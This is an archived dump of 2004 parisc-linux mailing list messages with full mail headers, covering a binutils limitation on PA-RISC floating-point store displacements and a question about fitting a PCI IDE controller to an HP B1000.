X-Trace: ger.gmane.org 1416623625 12017 80.91.229.3 (22 Nov 2014 02:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:45 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
 "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 18:26:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 15 Dec 2004 19:26:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E74F13BE4B; Wed, 15 Dec 2004 11:26:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24585-10; Wed, 15 Dec 2004 11:26:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 530843BE4F; Wed, 15 Dec 2004 11:26:33 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01F503BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:26:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24607-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:26:16 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id AC9F33BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:26:15 -0700 (MST)
Original-Received: from mail-7-bnl.tiscali.it (10.39.115.137) by mrq-1.tiscalinet.it
	(7.0.028) id 419A12460043A580; Wed, 15 Dec 2004 19:25:57 +0100
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Wed, 15 Dec 2004 19:25:35 +0100
In-Reply-To: <20041215180436.GD27818@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22208


> 
> On Wed, Dec 15, 2004 at 05:18:13PM +0000, Matthew Wilcox wrote:
> > Quick look at page 9-24 of the Kane book indicates that for d between=

+15
> > and -16 we use format 42 and for d outside that range, we use format
3.
> > Looks like nobody bothered to teach binutils about this longer form
yet.
> > Is it possible it's only available for PA2.0 processors?
(mmm I just forget to memtioned that I used -march=3D2.0)
> 
> Yes - that seems to be the case.
> FSTD is PA2.0 Mnemonic. Page J-4 of the same book.
> 
> The two corresponding PA 1.1 ops are FSTDS and FSTDX.
> FSTDS is the short form (5 bits immediate).
> We could use FSTDX but it will require another register in the asm.
> 
> grant

Well ok I want that works for the two arch I had better to incr %0 ?
I will check perf.

Thanks for all advises,
    Joel

-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IDE controller in B1000
Date: Wed, 15 Dec 2004 11:50:52 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20041215185052.GE27818@colo.lackof.org>
References: <41C06455.6030302@goweee.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623625 12019 80.91.229.3 (22 Nov 2014 02:33:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stian Skarsb? Solheim <hppa-linux-list@goweee.com>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 18:52:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 15 Dec 2004 19:52:38 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C2EA43BC80; Wed, 15 Dec 2004 11:52:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25082-01; Wed, 15 Dec 2004 11:52:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1BE2F3BE4B; Wed, 15 Dec 2004 11:52:20 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 639853BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:52:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24843-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:52:10 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 513EC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 11:52:10 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8D30D298029; Wed, 15 Dec 2004 11:52:09 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30694-10; Wed, 15 Dec 2004 11:50:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5F95C298028; Wed, 15 Dec 2004 11:50:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41C06455.6030302@goweee.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22209

On Wed, Dec 15, 2004 at 05:20:37PM +0100, Stian Skarsb? Solheim wrote:
> I dont know if this is the right place to ask, but I am starting to run
> out of options.

It's the right place and it's been asked before :^)

Search for IDE in the mailing list archive:
	http://lists.parisc-linux.org/

e.g:
http://lists.parisc-linux.org/hypermail/parisc-linux/10959.html

> I own a HP B1000. I would like to place a pci ide controller in this
> machine and use IDE disks. Of course not to boot from, but as storage (I
> am aware of the benefits of SCSI over IDE so no need to point that out
> ^_^). I have asked several people on various irc-channels, googled for
> hours and posted on HP's "support" forum if this would work. I have
> gotten all answers from "No it wont" to "Yes it will". But the fact
> remains that I havent talked to anyone that can acutaly say they have
> tried it and succeeded/failed.

At least one person had something working on C3000:
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-August/020851.html

grant

> So I ask you! Will it work to put a pci ide controller in a HP B1000
> (Running Linux of course)? And if so, which chip(s) should I go for and
> are there any traps I should look out for?
> 
> (I realise this will, if it works, probably be slow as he** and so on,
> but I still want to try)
> 
> Appreciate any answers  :)
> 
> Stian
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Gcc bug or I missunderstand? [ftsd %fr22,
Date: Wed, 15 Dec 2004 14:01:26 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200412151901.iBFJ1Q7v004439@hiauly1.hia.nrc.ca>
References: <20041215171813.GA28058@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623626 12021 80.91.229.3 (22 Nov 2014 02:33:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 19:01:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx065) with SMTP; 15 Dec 2004 20:01:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 997ED3BE49; Wed, 15 Dec 2004 12:01:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25202-06; Wed, 15 Dec 2004 12:01:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 29B3B3BE4C; Wed, 15 Dec 2004 12:01:42 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F8A93BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 12:01:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25147-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 12:01:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5D8473BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 12:01:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iBFJ1Rko004440; Wed, 15 Dec 2004 14:01:27 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iBFJ1Q7v004439;
	Wed, 15 Dec 2004 14:01:26 -0500 (EST)
In-Reply-To: <20041215171813.GA28058@parcelfarce.linux.theplanet.co.uk> from
	"Matthew Wilcox" at Dec 15, 2004 12:18:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22210

> Quick look at page 9-24 of the Kane book indicates that for d between +15
> and -16 we use format 42 and for d outside that range, we use format 3.
> Looks like nobody bothered to teach binutils about this longer form yet.

Yes, I hit this a couple of years ago in GCC.  Binutils needs to be
taught some new relocations to support the long fp displacements.

> Is it possible it's only available for PA2.0 processors?

This is only available in PA 2.0.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Gcc bug or I missunderstand? [ftsd %fr22,
Date: Wed, 15 Dec 2004 14:12:57 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200412151912.iBFJCvCc004675@hiauly1.hia.nrc.ca>
References: <418A8131000106D9@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623626 12023 80.91.229.3 (22 Nov 2014 02:33:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 19:13:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 15 Dec 2004 20:13:32 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 370CE3BE5F; Wed, 15 Dec 2004 12:13:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25147-10; Wed, 15 Dec 2004 12:13:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AC5B23BE53; Wed, 15 Dec 2004 12:13:17 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D15573BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 12:13:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25267-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 12:13:02 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 83F923BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 12:13:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iBFJCwko004676; Wed, 15 Dec 2004 14:12:58 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iBFJCvCc004675;
	Wed, 15 Dec 2004 14:12:57 -0500 (EST)
In-Reply-To: <418A8131000106D9@mail-7-bnl.tiscali.it> from "Joel Soete" at Dec
	15, 2004 01:25:35 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22211

> > > Is it possible it's only available for PA2.0 processors?
> (mmm I just forget to memtioned that I used -march=2.0)

-march=2.0 only affects the code generated by GCC.  How, would
it change an asm?

You must remember that GAS isn't really a general purpose assembler.
It's handles what GCC generates.  When you step outside those bounds
it may break.  Of course, a patch to add the missing relocations would
be welcome but no one has found time to do it yet.  This also involves
fixing the linker.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Stian_Skarsb=F8_Solheim?= <hppa-linux-list@goweee.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IDE controller in B1000
Date: Wed, 15 Dec 2004 17:20:37 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <41C06455.6030302@goweee.com>
Reply-To: hppa-linux-list@goweee.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623626 12026 80.91.229.3 (22 Nov 2014 02:33:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 16:21:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 15 Dec 2004 17:21:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 03BCB3BE48; Wed, 15 Dec 2004 09:21:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23547-02; Wed, 15 Dec 2004 09:21:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E9FED3BE4A; Wed, 15 Dec 2004 09:20:54 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 313883BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 09:20:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22625-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 09:20:42 -0700 (MST)
Original-Received: from rischogserv (host-81-191-0-40.bluecom.no [81.191.0.40])
	by free.linux.hp.com (Postfix) with ESMTP id 6961C3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 09:20:41 -0700 (MST)
Original-Received: from hogwarts ([10.24.16.2]) by rischogserv with esmtp (Exim 4.42)
	id 1Cebrg-00014z-Nb
	for parisc-linux@lists.parisc-linux.org; Wed, 15 Dec 2004 17:19:00 +0100
User-Agent: Mozilla Thunderbird 1.0 (X11/20041209)
X-Accept-Language: en-us, en
X-Enigmail-Version: 0.89.5.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22212

Hello there

I dont know if this is the right place to ask, but I am starting to run
out of options.

I own a HP B1000. I would like to place a pci ide controller in this
machine and use IDE disks. Of course not to boot from, but as storage (I
am aware of the benefits of SCSI over IDE so no need to point that out
^_^). I have asked several people on various irc-channels, googled for
hours and posted on HP's "support" forum if this would work. I have
gotten all answers from "No it wont" to "Yes it will". But the fact
remains that I havent talked to anyone that can acutaly say they have
tried it and succeeded/failed.

So I ask you! Will it work to put a pci ide controller in a HP B1000
(Running Linux of course)? And if so, which chip(s) should I go for and
are there any traps I should look out for?

(I realise this will, if it works, probably be slow as he** and so on,
but I still want to try)

Appreciate any answers  :)

Stian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Gcc bug or I missunderstand? [ftsd %fr22, 56(%sr0,
	%r20) failed to build?]
Date: Wed, 15 Dec 2004 17:27:05 +0100
Lines: 179
Approved: news@gmane.org
Message-ID: <418A80250000FC28@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623627 12028 80.91.229.3 (22 Nov 2014 02:33:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:47 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2004 16:27:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx068) with SMTP; 15 Dec 2004 17:27:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 315DC3BE49; Wed, 15 Dec 2004 09:27:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22625-10; Wed, 15 Dec 2004 09:27:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 976B63BE4B; Wed, 15 Dec 2004 09:27:18 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CADC3BE49
	for <parisc-linux@lists.parisc-linux.org>;
